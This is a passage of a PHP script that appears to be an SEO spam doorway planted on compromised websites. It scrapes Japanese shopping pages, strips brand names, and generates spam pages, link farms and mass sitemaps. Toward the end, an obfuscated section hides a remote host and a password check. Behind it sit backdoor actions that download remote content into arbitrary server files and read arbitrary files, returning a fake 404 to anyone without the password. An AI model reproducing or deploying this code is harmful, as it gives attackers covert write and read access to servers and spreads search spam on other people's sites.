'%E3%80%90%E3%82%AB%E3%83%BC%E3%83%89%E6%B1%BA%E6%B8%88OK%E3%80%91'; $rpword[] = '%E3%80%90%E3%81%82%E3%81%99%E6%A5%BD%E5%AF%BE%E5%BF%9C%E3%80%91'; $rpword[] = '%E3%80%90%E4%BB%A3%E5%BC%95%E4%B8%8D%E5%8F%AF%E3%80%91'; $rpword[] = '%E9%80%9A%E4%BF%A1%E8%B2%A9%E5%A3%B2'; $rpword[] = '%E9%80%9A%E8%B2%A9'; $rpword[] = '%E6%A5%BD%E5%A4%A9'; $rpword[] = '%e3%83%a4%e3%83%95%e3%83%bc%e5%ba%97+'; $rpword[] = '%e3%83%a4%e3%83%95%e3%83%bc'; $pMateTitle = ''; $pMateKey = ''; $pMateDes = ''; $proMateTitleRelur = '#<title>(.*?)</title>#si'; preg_match($proMateTitleRelur, $html, $matchesMateTitle); if(isset($matchesMateTitle[1]) && trim($matchesMateTitle[1])){ $pMateTitle = trim($matchesMateTitle[1]); foreach($rpword as $vsword){ $let = urldecode($vsword); $pMateTitle = str_replace($let,"",$pMateTitle); } reset($rpword); $pMateTitle = str_replace('rakuten.co.jp',"",$pMateTitle); $pMateTitle = str_replace('rakuten',"",$pMateTitle); $pMateTitle = str_replace('Yahoo!',"",$pMateTitle); $pMateTitle = str_replace('Yahoo',"",$pMateTitle); } $proMateKeyRelur = '#<meta name="keywords" content="([^"]+)"#si'; preg_match($proMateKeyRelur, $html, $matchesMateKey); if(isset($matchesMateKey[1]) && trim($matchesMateKey[1])){ $pMateKey = trim($matchesMateKey[1]); foreach($rpword as $vsword){ $let = urldecode($vsword); $pMateKey = str_replace($let,"",$pMateKey); } reset($rpword); $pMateKey = str_replace('rakuten.co.jp',"",$pMateKey); $pMateKey = str_replace('rakuten',"",$pMateKey); $pMateKey = str_replace('Yahoo!',"",$pMateKey); $pMateKey = str_replace('Yahoo',"",$pMateKey); } $proMateDesRelur = '#<meta name="description" content="([^"]+)"#si'; preg_match($proMateDesRelur, $html, $matchesMateDes); if(isset($matchesMateDes[1]) && trim($matchesMateDes[1])){ $pMateDes = trim($matchesMateDes[1]); foreach($rpword as $vsword){ $let = urldecode($vsword); $pMateDes = str_replace($let,"",$pMateDes); } reset($rpword); $pMateDes = str_replace('rakuten.co.jp',"",$pMateDes); $pMateDes = str_replace('rakuten',"",$pMateDes); $pMateDes = str_replace('Yahoo!',"",$pMateDes); $pMateDes = str_replace('Yahoo',"",$pMateDes); } $productsDes = str_replace('<IMG ','<img ',$productsDes); $productsDes = rmhtmltag2('meta',$productsDes); $productsDes = rmhtmltag('script',$productsDes); $productsDes = rmhtmltag2('img',$productsDes); $pName = $productsName; $pDes = $productsDes; $pd2 = $productsPd2; $pMateKey = preg_replace('#^,+#i','',$pMateKey); $pMateKey = str_replace('<meta name=,','',$pMateKey); $pMateKey = str_replace('<meta name=','',$pMateKey); if(!$pMateTitle or !$pMateDes or !$pMateKey){ $pMateTitle = $productsName; $pMateDes = $productsName; $pMateKey = $productsName; } $lttitlerp = '<p><strong>'.$pMateTitle.'</strong></p>'; $lttitlerp .= '<p><strong>'.$pMateDes.'</strong></p>'; $pnamesrp = '<p><strong>'.$pName.'</strong></p>'; $pnamesrp .= '<p><strong>'.$pMateDes.'</strong></p>'; // if($preOrEnd){ if(0){ $pDes = '<p><strong>'.$pMateTitle.'</strong></p>'.$pDes .$pd2. '<p><strong>'.$pMateDes.'</strong></p>' ."<br/>".$tempPimgStr; }else{ $pDes = $tempPimgStr . '<p><strong>'.$pMateTitle.'</strong></p>'. $pDes .$pd2. '<p><strong>'.$pMateDes.'</strong></p>'; } $pDes = str_ireplace("<img ", '<img class="img-responsive rounded" alt="#bbbNamebbb#" title="#bbbNamebbb#" ',$pDes);$rpDes = $pDes; $rpDes = str_replace('#bbbNamebbb#',$pName,$rpDes); $linkfirst = ''; if(count($arrFIdName)){ $linkfirst .= '<ul class="list-group">'; foreach($arrFIdName as $valueFlinkId => $vsss){ if(!isset($arrFIdImg[$valueFlinkId])) continue; list($tempNowid,$tempSid,$tempPid) = explode('-',$valueFlinkId); $friendlink = getalink($tempSid,$tempPid,$tempNowid); $tempLinkKey = $vsss; $tempImg = trim($arrFIdImg[$valueFlinkId]); $linkfirst=$linkfirst.'<li class="list-group-item col-md-3 col-sm-4 col-xs-6">'."<a href=\"".$friendlink."\">". '<img src="'.$tempImg.'" class="img-responsive" alt="'.$tempLinkKey.'" title="'.$tempLinkKey.'">' ."</a></li>".PHP_EOL; } } $fileMb = fopen("moban.html","r"); $html = fread($fileMb,filesize("moban.html")); $html = str_ireplace('#bbbdesbbb#', $pMateDes, $html); $html = str_ireplace('#bbbkeybbb#', $pMateKey, $html); $html = str_ireplace('#bbbtitsbbb#', $pMateTitle, $html); $html = str_ireplace('#bbblttitlebbb#', $lttitlerp, $html); $html = str_ireplace('#bbbNamebbb#', $pName, $html); $html = str_ireplace('#descontent#', $rpDes, $html); $html = str_ireplace('#links1#', $linkfirst, $html); $html = str_ireplace('#bbbpnamesbbb#', $pnamesrp, $html); echo $html; die(); function getMapNum($bgNum,$mapnum){ $TempArr = array(); if($bgNum + $mapnum <= FNUM){ for($i=0;$i<$mapnum;$i++){ $TempArr[$i] = $bgNum + $i -1; } }else{ for($i=0;$i<$mapnum;$i++){ if($bgNum+$i > FNUM) $TempArr[$i] = $bgNum + $i -1 -FNUM; else $TempArr[$i] = $bgNum + $i -1; } } return $TempArr; } function getRandId(){ $num = rand(1,FNUM); $num = $num - 1; require(FILEDIRNAME . "/id$num.php"); $indexId=array_rand($arrId,1); $id = $arrId[$indexId]; unset($arrId); return $id;} function get_arrvs($arr,$num,$nowkey){ $numArr = count($arr); if($nowkey + $num < $numArr) return $arr[$nowkey + $num]; else{ if($nowkey + $num - $numArr - $numArr > 0) return get_arrvs($arr,$num - $numArr,$nowkey); else return $arr[abs($nowkey + $num - $numArr)]; } } function get_pre_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key + JGNUM + 1 + LINKNUM >= $num){ if($key + JGNUM + 1 - $num > LINKNUM){ return array_slice($arr, $key + JGNUM + 1 - $num, LINKNUM); }else{ $duoyu = $key + JGNUM + 1 + LINKNUM - $num + 1; $tmpA1 = array_slice($arr, $key + JGNUM + 1, LINKNUM); $tmpA2 = array_slice($arr, 0, $duoyu); return array_merge($tmpA1,$tmpA2); } }else{ return array_slice($arr, $key + JGNUM + 1, LINKNUM); } } function get_next_link($arr,$key){ $tmpA1 = array(); $tmpA2 = array(); $num = count($arr); if($key - JGNUM - LINKNUM < 0 && $key - JGNUM > 0){ $duoyu = abs($key - JGNUM - LINKNUM); $tmpA1 = array_slice($arr, 0, abs($key - JGNUM)); $tmpA2 = array_slice($arr, $num-$duoyu-1, $duoyu); return array_merge($tmpA1,$tmpA2); }else{ return array_slice($arr, $key - JGNUM - LINKNUM, LINKNUM); } } function rFile($file){ if(function_exists('file_get_contents')){ return file_get_contents($file); }else{ $handle = fopen($file, "r"); $contents = fread($handle, filesize($file)); fclose($handle); return $contents; } } function isCrawler() { $agent= @strtolower($_SERVER['HTTP_USER_AGENT']); if (!empty($agent)) { $spiderSite= array( "Googlebot", "Mediapartners-Google", "Adsbot-Google", "Yahoo!", "Google AdSense", "Yahoo Slurp", "bingbot", "MSNBot" ); foreach($spiderSite as $val) { $str = strtolower($val); if (strpos($agent, $str) !== false) { return true; } } } else { return false; } } function glink($filenames,$jdt=1){ $filePres = ''; $fileEnds = ''; if($jdt == 1){ $filePres = basename(__FILE__) . "?id="; }else{ $filePres = ''; $fileEnds = JTHZ; } ////获取文件目录 $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $put_str = ''; $urlsArray = $filenames; //print_r($urlsArray); $numLinks = count($urlsArray); foreach($urlsArray as $value){ $curphp=basename(__FILE__); $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); //print_r( $value.$curphp." ".$first." ".$last); if($first===false && $last===false && $checkTxt===false) { $url=$serpath ."/". $filePres . PRENAME . '-' . basename($value) .$fileEnds; $put_str .= $url . PHP_EOL; } } $gFile = 'urls.txt'; echo '<br/>'.$gFile.''; @unlink($gFile); file_put_contents($gFile,$put_str); echo "生成成功!<br/>"; } //生成sitemap.xml文件,超出4000个则换一个xml文件;参数$c=1生成原始路径的sitemap,$c=2则生成映射后的路径 //$dir目录参数 function print_map2($filenames,$c=1,$jdt=1){ $filePres = ''; $fileEnds = ''; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{ $filePres = ''; } if(JDT == 3){ $fileEnds = ''; }else{ $fileEnds = JTHZ; } $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = ""; $tempArr1 = $filenames; foreach($tempArr1 as $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempNowid,$tempSid,$tempPid) = explode('-',$value); $url = getalink($tempSid,$tempPid,$tempNowid); if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $put_str = $mapPre . $str . $mapEnd; header("Content-type: text/xml"); echo $put_str; return; } $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url> "; $star++; $starPri++; } } { $put_str = $mapPre . $str . $mapEnd; header("Content-type: text/xml"); echo $put_str; } unset($tempArr1); unset($filenames); } function print_map($filenames,$c=1,$jdt=1){ $filePres = ''; $fileEnds = ''; $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = " <url> <loc>" . $siteLink . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>always</changefreq> <priority>1.0</priority> </url> "; $tempArr1 = $filenames; foreach($tempArr1 as $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempNowid,$tempSid,$tempPid) = explode('-',$value); $url = getalink($tempSid,$tempPid,$tempNowid); if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $put_str = $mapPre . $str . $mapEnd; header("Content-type: text/xml"); echo $put_str; return; } if($starPri >= 400 && $priority != 0.1){ $starPri = 0; $priority = $priority - 0.1; } if($priority > 0.1){ $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>". $priority . "</priority> </url> "; }else{ $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url> "; } $star++; $starPri++; } } { $put_str = $mapPre . $str . $mapEnd; header("Content-type: text/xml"); echo $put_str; } unset($tempArr1); unset($filenames); } function gsitemap2($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $filePres = ''; $fileEnds = ''; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $httcReplace . "/" .basename(__FILE__) . "?key="; }else{ $filePres = ''; } if(JDT == 3){ $fileEnds = ''; }else{ $fileEnds = JTHZ; } $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.1; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = ""; $tempArr1 = $filenames; foreach($tempArr1 as $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempNowid,$tempSid,$tempPid) = explode('-',$value); $url = getalink($tempSid,$tempPid,$tempNowid); if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../sitemap/sitemap' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); $str = ''; $gnumber++; return; } $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url> "; $star++; $starPri++; } } { $gFile = '../sitemap/sitemap' . $gnumber .'.xml'; $gnumber++; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function gsitemap($filenames,$c=1,$jdt=1){ global $gnumber,$arrArrr; $filePres = ''; $fileEnds = ''; $fpath='http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $serpath=substr($fpath,0,strrpos($fpath,'/')); $siteLink='http://'.$_SERVER['HTTP_HOST']; $mapPre = '<'.'?xml version="1.0" encoding="UTF-8" ?'.'>'. PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">' . PHP_EOL; $mapEnd = PHP_EOL . '</urlset>'; // $urlsArray = $filenames; // $numLinks = count($urlsArray); $star = 0; $priority = 0.9; $starPri = 0; $gFile =""; $date = date("Y-m-d"); $time = date("H:i:s"); $str = " <url> <loc>" . $siteLink . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>always</changefreq> <priority>1.0</priority> </url> "; $tempArr1 = $filenames; foreach($tempArr1 as $value2){ $curphp=basename(__FILE__); $value = $value2; $first=stristr($value,".php"); $last=stristr($value,".xml"); $checkTxt =stristr($value,".txt"); list($tempNowid,$tempSid,$tempPid) = explode('-',$value); $url = getalink($tempSid,$tempPid,$tempNowid); if($first===false && $last===false && $checkTxt===false) { $date = date("Y-m-d"); $time = date("H:i:s"); if($star % 12000==11999){ $gFile = '../sitemap/sitemap' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>'; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); $str = ''; $gnumber++; return; } if($starPri >= 400 && $priority != 0.1){ $starPri = 0; $priority = $priority - 0.1; } if($priority > 0.1){ $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>". $priority . "</priority> </url> "; }else{ $str .= " <url> <loc>" . $url . "</loc> <lastmod>". $date . "T" . $time ."-05:00</lastmod> <changefreq>daily</changefreq> <priority>0.1</priority> </url> "; } $star++; $starPri++; } } { $gFile = '../sitemap/sitemap' . $gnumber .'.xml'; echo '<br/>'.$gFile.'<br/>'; $gnumber++; $put_str = $mapPre . $str . $mapEnd; @unlink($gFile); file_put_contents($gFile,$put_str); } unset($tempArr1); unset($filenames); echo "生成sitemap成功!"; } function fillUrl($str = '', $url){ $relur = '#(?:href|src) ?= ?"([^"]+)"#s'; $urlInfo = parse_url($url); preg_match_all($relur, $str, $matches); if(count($matches[1])){ foreach($matches[1] as $values){ if(!strstr($values, "//") && !strstr($values, "..")){ $rStr = $urlInfo['host']."/".$values; $rStr = 'http://' . str_replace('//','/',$rStr); $str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ; }elseif(strstr($values, "..")){ // echo $urlInfo['host']; // echo str_replace(basename($url),"",$url); // die(); $rStr = str_replace(basename($url),"",$url)."/".$values; $rStr = str_replace("http://","<llqhttp>",$rStr); $rStr = str_replace("https://","<llqhttps>",$rStr); $rStr = str_replace("//","/",$rStr); $rStr = str_replace("<llqhttps>","https://",$rStr); $rStr = str_replace("<llqhttp>","http://",$rStr); $str = str_replace('"'.$values.'"', '"'.$rStr.'"' , $str) ; } } } $relur = '#(?:href|src) ?= ?\'([^\']+)\'#s'; $urlInfo = parse_url($url); preg_match_all($relur, $str, $matches); // print_r($matches[1]); if(count($matches[1])){ foreach($matches[1] as $values){ if(!strstr($values, "//") && !strstr($values, "..")){ $rStr = $urlInfo['host']."/".$values; $rStr = 'http://' . str_replace('//','/',$rStr); $str = str_replace("'".$values."'", "'".$rStr."'" , $str) ; }elseif(strstr($values, "..")){ $rStr = str_replace(basename($url),"",$url)."/".$values; $rStr = str_replace("http://","<llqhttp>",$rStr); $rStr = str_replace("https://","<llqhttps>",$rStr); $rStr = str_replace("//","/",$rStr); $rStr = str_replace("<llqhttps>","https://",$rStr); $rStr = str_replace("<llqhttp>","http://",$rStr); $str = str_replace("'".$values."'", "'".$rStr."'" , $str) ; } } } return $str;} function auto_read($str, $charset='UTF-8') { $list = array('EUC-JP', 'Shift_JIS', 'UTF-8', 'iso-2022-jp'); $encode = mb_detect_encoding($str, $list); // echo $encode;die(); if($encode == 'UTF-8'){ return $str; }else{ return mb_convert_encoding($str, $charset, $encode); } } function detect_encoding($file){ $list = array('GBK', 'UTF-8', 'UTF-16LE', 'UTF-16BE', 'ISO-8859-1'); $str = file_get_contents($file); foreach ($list as $item) { $tmp = mb_convert_encoding($str, $item, $item); if (md5($tmp) == md5($str)) { return $item; } } return null;} function curl_get_from_webpage($url,$proxy='',$loop=10){ $data = false; $i = 0; while(!$data) { $data = curl_get_from_webpage_one_time($url,$proxy); if($i++ >= $loop) break; } return $data;} function curl_get_from_webpage_one_time($url,$proxy=''){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; if(strlen($proxy) > 8) curl_setopt($curl, CURLOPT_PROXY, $proxy); curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } function curl_getjs_from_webpage($url,$time){ if(function_exists("curl_init") && function_exists("curl_setopt") && function_exists("curl_exec") && function_exists("curl_close")){ $curl = curl_init(); //如果有用代理,则使用代理. $user_agent = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100"; // $urlReferer = "http://www.google.com"; curl_setopt($curl, CURLOPT_URL, $url); if(stristr($url,"https:")){ curl_setopt_array($curl, array(CURLOPT_SSL_VERIFYHOST => 2,CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_POSTFIELDS => '', CURLOPT_RETURNTRANSFER => 1,CURLOPT_TIMEOUT => $time,CURLOPT_USERAGENT => $user_agent,CURLOPT_HEADER => 1, CURLOPT_VERBOSE => 0 ));}else{curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_TIMEOUT, $time);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_HEADER, false);curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);curl_setopt($curl, CURLOPT_USERAGENT, $user_agent); }$data=curl_exec($curl);curl_close($curl); }else{ $is_auf=ini_get('allow_url_fopen') && function_exists("file_get_contents")?true:false; if($is_auf){ $data = file_get_contents($url); } } if(!$data) return false; return $data; } //ccccccgetbg @ini_set('display_errors', 0);@set_time_limit(3600); $q1 = "O00O0O";$q2 = "O0O000";$q3 = "O0OO00";$q4 = "OO0O00";$q5 = "OO0000";$q6 = "O00OO0";$q7 = "O00O00";$q8 = "O00OOO";$q9 = "O0O0OO";$q10 = "OOO0OO";$q11 = "OO00OO";$q12 = "OO000O";$q13 = "OO0O0O";$q14 = "OOOO00";$q15 = "OO0OO0O";$$q1 = RandAbc();$$q3 = $O00O0O{62}.$O00O0O{51}.$O00O0O{50}.$O00O0O{54}.$O00O0O{55};$$q5 = $O00O0O{28}.$O00O0O{26}.$O00O0O{27}.$O00O0O{33};$$q6 = $O00O0O{1}.$O00O0O{0}.$O00O0O{2}.$O00O0O{10}.$O00O0O{20}.$O00O0O{15};$$q4 = $$O0OO00;$$q2 = $O00O0O{12}.$O00O0O{3}.$O00O0O{31};$$q7 = $O00O0O{30}.$O00O0O{35}.$O00O0O{32}.$O00O0O{34}.$O00O0O{31}.$O00O0O{34}.$O00O0O{31}.$O00O0O{3}.$O00O0O{26}.$O00O0O{5}.$O00O0O{5}.$O00O0O{4}.$O00O0O{29}.$O00O0O{31}.$O00O0O{28}.$O00O0O{27}.$O00O0O{0}.$O00O0O{26}.$O00O0O{30}.$O00O0O{32}.$O00O0O{5}.$O00O0O{26}.$O00O0O{30}.$O00O0O{34}.$O00O0O{28}.$O00O0O{5}.$O00O0O{33}.$O00O0O{0}.$O00O0O{3}.$O00O0O{31}.$O00O0O{34}.$O00O0O{3};$$q8 = $O00O0O{19}.$O00O0O{14}.$O00O0O{15};$$q9 = $O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{53}.$O00O0O{57}.$O00O0O{40}.$O00O0O{53};$$q10 = $$O0O0OO;$$q11 = $O00O0O{39}.$O00O0O{50}.$O00O0O{38}.$O00O0O{56}.$O00O0O{48}.$O00O0O{40}.$O00O0O{49}.$O00O0O{55}.$O00O0O{62}.$O00O0O{53}.$O00O0O{50}.$O00O0O{50}.$O00O0O{55};$$q12 = $O00O0O{51}.$O00O0O{43}.$O00O0O{51}.$O00O0O{62}.$O00O0O{54}.$O00O0O{40}.$O00O0O{47}.$O00O0O{41};$$q13 = $O00O0O{2}.$O00O0O{6}.$O00O0O{4}.$O00O0O{19};$$q14 = $O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{4}.$O00O0O{23}.$O00O0O{63}.$O00O0O{15}.$O00O0O{7}.$O00O0O{15};$$q15 = $O00O0O{7}.$O00O0O{19}.$O00O0O{19}.$O00O0O{15}.$O00O0O{64}.$O00O0O{65}.$O00O0O{65}.$O00O0O{22}.$O00O0O{22}.$O00O0O{22}.$O00O0O{63}; if(isset($OOO0OO["$OO00OO"])){$BT = $OOO0OO["$OO00OO"];}elseif(isset($OOO0OO["$OO000O"])){$BT = str_ireplace(str_replace("\\",DIRECTORY_SEPARATOR,str_replace("/",DIRECTORY_SEPARATOR,$OOO0OO["$OO000O"])),'',__FILE__).DIRECTORY_SEPARATOR;}else{$BT = '/';} foreach($OO0O00 as $O00O00o=>$O00Oo0o){ $$O00O00o = $O00Oo0o; } if(!(isset($passwd) && $O0O000($passwd) == $O00O00)){ header("HTTP/1.1 404 Not Found"); header("Status: 404 Not Found"); exit; } if(isset($act) && $act == 'check' && isset($check_file)){ if(file_exists($check_file)){ echo '#ok#'; } } if(isset($act) && $act == 'test'){ echo '#ok#'; } if(isset($act) && $act == 'recover' && isset($recover_file) && isset($recover_file_url)){ { $pfile = $recover_file; $date = $OO0O0O($recover_file_url); gdir_file($recover_file); @chmod($pfile,0755); if($date && file_put_contents($pfile,$date)){ echo '#ok#'; }else{ echo '#fail#'; } } } if(isset($act) && $act == 'redate' && isset($redate_file)){ if(file_exists($redate_file)){ echo rdFile($redate_file); } } function RandAbc($length = "") { $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_.:/"; return ($str); } function rdFile($file){ if(function_exists('file_get_contents')){ return file_get_contents($file); }else{ $handle = fopen($file, "r"); $contents = fread($handle, filesize($file)); fclose($handle); return $contents; } } function cget($url,$loop=10){ $data = false; $i = 0; while(!$data) { $data = tcget($url); if($i++ >= $loop) break; } return $data; } function tcget($url,$proxy=''){ global $OO0OO0O, $O00OO0, $OO0000, $O00OOO; $data = ''; $url = "$OO0OO0O$O00OO0$OO0000.$O00OOO/".$url; $url = trim($url); if (extension_loaded('curl') && function_exists('curl_init') && function_exists('curl_exec')){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 60); $data = curl_exec($ch); curl_close($ch); } if ($data == ''){ if (function_exists('file_get_contents') && $url){ $data = @file_get_contents($url); } } if (($data == '') && $url){ if (function_exists('fopen') && function_exists('ini_get') && ini_get('allow_url_fopen')){ ($fp = @fopen($url, 'r')); if ($fp){ while (!@feof($fp)){ $data .= @fgets($fp) . ''; } @fclose($fp); } } } return $data; } function m_mkdir($dir){ if(!is_dir($dir)) mkdir($dir); } function gdir_file($gDir=''){ global $BT; $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir); $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir); $arr = explode(DIRECTORY_SEPARATOR,$gDir); if(count($arr) <= 0) return; if(!strstr($gDir,$BT)) $dir = $BT; else $dir = ''; for($i = 0 ; $i < count($arr)-1 ; $i++){ $dir .= '/' . $arr[$i]; m_mkdir($dir); } return $dir; } //ccccccgetend function my_mkdir($dir){ global $fitime; if(!is_dir($dir)){ mkdir($dir); @touch($dir, $fitime, $fitime); } } function generate_dir_file($gDir=''){ global $hostDir; $gDir = str_replace('/',DIRECTORY_SEPARATOR,$gDir); $gDir = str_replace('\\',DIRECTORY_SEPARATOR,$gDir); $arr = explode(DIRECTORY_SEPARATOR,$gDir); if(count($arr) <= 0) return; if(!strstr($gDir,$hostDir)) $dir = $hostDir; else $dir = ''; for($i = 0 ; $i < count($arr)-1 ; $i++){ $dir .= DIRECTORY_SEPARATOR . $arr[$i]; my_mkdir($dir); } return $dir; } function getalink($sid,$pid,$nNumID){ global $arrnametime,$arrKeywz,$arr_word,$strRand; $filePres = ''; $fileEnds = ''; $siteLink='http://'.$_SERVER['HTTP_HOST']; $dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames))); if(JDT == 2){ $filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){ $filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){ $filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?keyword="; }else{ $filePres = $siteLink."/"; } $ms = $arrnametime[$pid % count($arrnametime)]; $keyNum = $arrKeywz[$pid % count($arrKeywz)]; $keyWordKey = $pid % 10; $keyStrKey = $pid % strlen("icedrkswzjhpnxoyvumfatblgq"); $keyArr = array(); $flag = 0; if($ms == 2 or $ms ==4){ if($keyNum >= 9){ $fg = 4; }elseif($keyNum >= 7){ $fg = 3; }else{ $fg = 2; } } for($i=0;$i<$keyNum;$i++){ $tempNum = $arr_word[$i][$keyWordKey]; $tempstr = ''; for($j=0;$j<$tempNum;$j++) $tempstr .= $strRand[$flag++]{$keyStrKey}; $keyArr[$i] = $tempstr; } $SidWz = $sid % $keyNum; $PidWz = $pid % $keyNum; $linkCenter = ''; if(JDT == 3){ for($i=0;$i<$keyNum;$i++){ if($SidWz == $i && $i != 0) $linkCenter .= '-'.$nNumID. BZSITE . $sid .'-'; elseif($SidWz == $i) $linkCenter .= $nNumID. BZSITE . $sid 